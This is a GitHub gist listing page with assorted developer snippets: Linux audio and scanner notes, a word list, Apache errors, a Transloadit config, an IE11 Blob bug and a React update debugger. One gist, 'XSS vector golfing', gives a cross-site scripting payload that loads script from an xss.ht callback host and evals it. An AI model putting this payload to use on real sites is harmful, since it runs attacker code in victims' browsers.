Skip to content

Instantly share code, notes, and snippets.

View Prinzhorn's full-sized avatar
🌚
Existing

Alexander Prinzhorn Prinzhorn

🌚
Existing
View GitHub Profile
@Prinzhorn
Prinzhorn / README.md
Created April 24, 2018 07:58
Intel NUC skull canyon Ubuntu audio input microphone headset recording
@Prinzhorn
Prinzhorn / levenshtein-3-beer.txt
Created January 13, 2018 11:39
Words with a distance of <= 3 to "beer"
peng 3
bebop 3
gar 3
newt 3
ref 3
yeven 3
bats 3
boles 3
kea 3
urger 3
@Prinzhorn
Prinzhorn / xss-golf.js
Last active July 26, 2017 16:34
XSS vector golfing
//Before
function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//*.xss.ht");a.send();
//After
with(new XMLHttpRequest){onload=a=>eval(responseText);open("GET", "//*.xss.ht");send()}
@Prinzhorn
Prinzhorn / output
Created July 13, 2017 18:14
Apache 2 in a folder from command line
(13)Permission denied: AH00072: make_sock: could not bind to address [::]:80
(13)Permission denied: AH00072: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
AH00015: Unable to open logs
<!DOCTYPE html>
<head>
<meta charset="utf-8">
</head>
<body>
<svg width="500" height="500">
<clipPath id="clippy1"></clipPath>
<clipPath id="clippy2"></clipPath>
<clipPath id="clippy3"></clipPath>
@Prinzhorn
Prinzhorn / INSTALLATION.md
Last active April 4, 2019 18:15
Ubuntu scanner Samsung SCX-3405

Find printer IP

lpinfo  -v

Replace the USB entry with TCP

nano /etc/sane.d/xerox_mfp.conf
@Prinzhorn
Prinzhorn / 1-before.json
Last active May 10, 2016 09:31
Transloadit extend step
{
"steps": {
"thumbnails": {
"robot": "/video/thumbs",
"ffmpeg_stack": "v2.2.3",
"use": ":original",
"format": "jpg"
},
"thumbnails_1080": {
"robot": "/image/resize",
@Prinzhorn
Prinzhorn / output.txt
Last active March 29, 2016 17:02
Jest + jasmine silently ignores
$: npm test
> [email protected] test /tmp
> jest
Using Jest CLI v0.9.2, jasmine2
PASS __tests__/test.js (0.037s)
1 test passed (1 total in 1 test suite, run time 0.795s)
@Prinzhorn
Prinzhorn / index.js
Last active January 1, 2020 18:26
Internet Explorer 11 Blob from DataView throws InvalidStateError
var buffer = new ArrayBuffer(8);
var left = new DataView(buffer, 0, 4);
try {
//Throws InvalidStateError in IE 11.
//It does work if we use a specific view like Uint8Array and not the generic DataView contructor.
new Blob([left]);
} catch(ex) {
alert(ex.message);
}
@Prinzhorn
Prinzhorn / index.js
Created September 18, 2015 14:46
Quick and dirty way to debug which prop/state changes caused react update
componentDidUpdate: function(prevProps, prevState) {
var differentProps = {};
var differentState = {};
var k;
for(k in prevProps) {
if(prevProps[k] !== this.props[k]) {
differentProps[k] = [prevProps[k], this.props[k]];
}
}